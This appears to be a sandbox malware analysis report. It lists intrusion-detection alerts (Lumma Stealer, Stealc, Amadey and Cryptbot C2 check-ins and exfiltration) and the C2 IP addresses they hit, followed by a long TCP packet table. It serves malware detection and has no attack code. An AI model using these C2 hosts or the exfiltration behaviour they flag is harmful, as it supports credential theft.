2024-11-20T04:08:45.125805+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	62678	34.116.198.130	80	TCP
2024-11-20T04:08:49.436379+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62685	188.114.97.3	443	TCP
2024-11-20T04:08:52.700544+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62688	188.114.97.3	443	TCP
2024-11-20T04:08:53.270383+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	62688	188.114.97.3	443	TCP
2024-11-20T04:08:55.691646+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62692	188.114.97.3	443	TCP
2024-11-20T04:08:56.330550+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	62692	188.114.97.3	443	TCP
2024-11-20T04:08:57.070067+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	62694	185.215.113.16	80	TCP
2024-11-20T04:09:08.432836+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62705	188.114.97.3	443	TCP
2024-11-20T04:09:08.946575+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	62705	188.114.97.3	443	TCP
2024-11-20T04:09:08.946575+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	62705	188.114.97.3	443	TCP
2024-11-20T04:09:09.142093+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	62706	185.215.113.206	80	TCP
2024-11-20T04:09:10.344281+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62707	188.114.97.3	443	TCP
2024-11-20T04:09:10.751663+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	62707	188.114.97.3	443	TCP
2024-11-20T04:09:10.751663+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	62707	188.114.97.3	443	TCP
2024-11-20T04:09:11.329370+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62709	188.114.97.3	443	TCP
2024-11-20T04:09:12.531974+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62712	188.114.97.3	443	TCP
2024-11-20T04:09:13.419460+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	62712	188.114.97.3	443	TCP
2024-11-20T04:09:14.282412+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62716	188.114.97.3	443	TCP
2024-11-20T04:09:15.679735+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62737	188.114.97.3	443	TCP
2024-11-20T04:09:17.451049+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62742	188.114.97.3	443	TCP
2024-11-20T04:09:18.100988+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	62742	188.114.97.3	443	TCP
2024-11-20T04:09:18.571953+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	62744	188.114.97.3	443	TCP
2024-11-20T04:09:19.000015+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	62744	188.114.97.3	443	TCP
2024-11-20T04:09:19.704386+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	62745	185.215.113.16	80	TCP
2024-11-20T04:11:51.601692+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	63616	20.189.173.2	443	TCP
2024-11-20T04:13:08.449574+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	63662	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 04:07:05.616578102 CET	49675	443	192.168.2.4	173.222.162.32
Nov 20, 2024 04:07:18.480611086 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:18.480639935 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:18.480741024 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:18.482428074 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:18.482441902 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:19.095796108 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:19.095979929 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:19.099164963 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:19.099172115 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:19.099572897 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:19.147866011 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:19.815520048 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:19.859344959 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:20.015872002 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:20.015938997 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:20.015961885 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:20.016004086 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:20.016053915 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:20.016172886 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:20.016172886 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:20.016201019 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:20.016213894 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:20.016320944 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:20.016411066 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:20.016411066 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:20.019759893 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:20.652837038 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:20.652867079 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:20.652882099 CET	49730	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:20.652889013 CET	443	49730	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:21.889938116 CET	62352	53	192.168.2.4	1.1.1.1
Nov 20, 2024 04:07:21.894776106 CET	53	62352	1.1.1.1	192.168.2.4
Nov 20, 2024 04:07:21.894917011 CET	62352	53	192.168.2.4	1.1.1.1
Nov 20, 2024 04:07:21.900048018 CET	53	62352	1.1.1.1	192.168.2.4
Nov 20, 2024 04:07:22.358690977 CET	62352	53	192.168.2.4	1.1.1.1
Nov 20, 2024 04:07:22.363877058 CET	53	62352	1.1.1.1	192.168.2.4
Nov 20, 2024 04:07:22.363960981 CET	62352	53	192.168.2.4	1.1.1.1
Nov 20, 2024 04:07:56.470079899 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:56.470108986 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:56.470202923 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:56.470999956 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:56.471014023 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.114918947 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.115220070 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.121686935 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.121712923 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.122075081 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.134584904 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.175374985 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.232793093 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.232832909 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.232852936 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.232976913 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.233004093 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.233068943 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.317425013 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.317495108 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.317569971 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.317581892 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.317617893 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.317639112 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.319267035 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.319309950 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.319511890 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.319523096 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.319580078 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.404175043 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.404241085 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.404273033 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.404284954 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.404335976 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.404345036 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.405216932 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.405282021 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.405298948 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.405308962 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.405342102 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.405366898 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.405855894 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.405905962 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.405929089 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.405937910 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.405970097 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.405992985 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.406752110 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.406800032 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.406831980 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.406840086 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.406866074 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.406892061 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.490813017 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.490873098 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.491071939 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.491071939 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.491091013 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.491307020 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.491441011 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.491504908 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.491635084 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.491635084 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.491645098 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.491736889 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.492526054 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.492577076 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.492616892 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.492624998 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.492665052 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.492690086 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.492718935 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.492764950 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.492793083 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.492799997 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.492835045 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.492861986 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.493464947 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.493515015 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.493540049 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.493549109 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.493578911 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.493602037 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.494326115 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.494371891 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.494407892 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.494415998 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.494455099 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.494478941 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.494481087 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.494513035 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.494544029 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.494647980 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.494657040 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.494672060 CET	62354	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.494678974 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.494687080 CET	443	62354	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.580140114 CET	62355	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.580240965 CET	443	62355	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.580481052 CET	62355	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.581556082 CET	62356	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.581645012 CET	443	62356	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.581681013 CET	62357	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.581739902 CET	443	62357	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.581742048 CET	62356	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.581799984 CET	62357	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.581993103 CET	62358	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.582015038 CET	443	62358	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.582089901 CET	62358	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.582345009 CET	62358	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.582370043 CET	443	62358	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.582489967 CET	62355	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.582524061 CET	443	62355	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.582614899 CET	62356	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.582637072 CET	62359	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.582639933 CET	443	62356	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.582648993 CET	443	62359	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.582717896 CET	62359	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.582812071 CET	62357	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.582835913 CET	443	62357	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:57.582891941 CET	62359	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:57.582907915 CET	443	62359	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.226881981 CET	443	62355	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.227660894 CET	62355	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.227739096 CET	443	62355	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.227979898 CET	443	62357	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.228041887 CET	443	62359	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.228107929 CET	62355	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.228121042 CET	443	62355	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.228388071 CET	62357	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.228418112 CET	443	62357	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.228454113 CET	62359	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.228463888 CET	443	62359	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.228847980 CET	62359	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.228853941 CET	443	62359	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.229140997 CET	62357	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.229146004 CET	443	62357	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.233119965 CET	443	62358	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.233592987 CET	62358	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.233654976 CET	443	62358	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.233834028 CET	62358	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.233850002 CET	443	62358	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.243086100 CET	443	62356	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.243438959 CET	62356	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.243503094 CET	443	62356	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.243702888 CET	62356	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.243716955 CET	443	62356	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.324651957 CET	443	62355	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.324815035 CET	443	62355	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.324996948 CET	62355	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.325115919 CET	62355	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.325155020 CET	443	62355	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.325181961 CET	62355	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.325200081 CET	443	62355	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.327280998 CET	443	62357	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.327306032 CET	443	62357	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.327399969 CET	62357	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.327411890 CET	443	62357	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.327474117 CET	62357	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.327514887 CET	443	62357	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.327564955 CET	443	62357	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.327610970 CET	62357	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.327640057 CET	62357	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.327653885 CET	443	62357	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.327666998 CET	62357	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.327672958 CET	443	62357	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.329005003 CET	62360	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.329052925 CET	443	62360	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.329164982 CET	62360	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.329293013 CET	62360	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.329309940 CET	443	62360	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.330102921 CET	443	62359	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.330132008 CET	443	62359	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.330143929 CET	62361	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.330200911 CET	62359	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.330210924 CET	443	62359	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.330234051 CET	443	62361	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.330260992 CET	62359	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.330324888 CET	62361	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.330425024 CET	443	62359	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.330425978 CET	62361	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.330447912 CET	443	62361	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.330487967 CET	443	62359	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.330549002 CET	62359	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.330580950 CET	62359	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.330585957 CET	443	62359	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.330607891 CET	62359	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.330612898 CET	443	62359	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.333038092 CET	62362	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.333049059 CET	443	62362	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.333127975 CET	62362	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.333375931 CET	62362	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.333384991 CET	443	62362	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.340342999 CET	443	62358	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.340415955 CET	443	62358	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.340620041 CET	62358	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.340620041 CET	62358	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.340620995 CET	62358	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.342642069 CET	62363	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.342654943 CET	443	62363	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.342736006 CET	62363	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.342896938 CET	62363	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.342912912 CET	443	62363	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.347069025 CET	443	62356	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.347084045 CET	443	62356	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.347141981 CET	62356	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.347172976 CET	443	62356	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.347294092 CET	443	62356	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.347356081 CET	62356	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.347412109 CET	62356	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.347449064 CET	443	62356	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.347489119 CET	62356	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.347506046 CET	443	62356	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.349720001 CET	62364	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.349807024 CET	443	62364	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.349905968 CET	62364	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.350079060 CET	62364	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.350115061 CET	443	62364	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.591882944 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:58.591952085 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:58.592047930 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:58.592427015 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:58.592458963 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:58.648010015 CET	62358	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.648078918 CET	443	62358	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.971405029 CET	443	62362	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.972089052 CET	62362	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.972115993 CET	443	62362	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.972567081 CET	62362	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.972570896 CET	443	62362	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.972793102 CET	443	62360	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.973268032 CET	62360	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.973273993 CET	443	62360	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.973748922 CET	62360	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.973752975 CET	443	62360	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.976453066 CET	443	62361	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.976850986 CET	62361	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.976881981 CET	443	62361	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.977242947 CET	62361	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.977269888 CET	443	62361	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.991239071 CET	443	62363	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.991646051 CET	62363	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.991708994 CET	443	62363	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:58.992122889 CET	62363	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:58.992177010 CET	443	62363	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.026771069 CET	443	62364	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.027204990 CET	62364	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.027285099 CET	443	62364	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.027553082 CET	62364	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.027570963 CET	443	62364	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.070390940 CET	443	62362	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.070456028 CET	443	62362	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.070517063 CET	62362	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.070708036 CET	62362	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.070722103 CET	443	62362	13.107.246.45	192.168.2.4
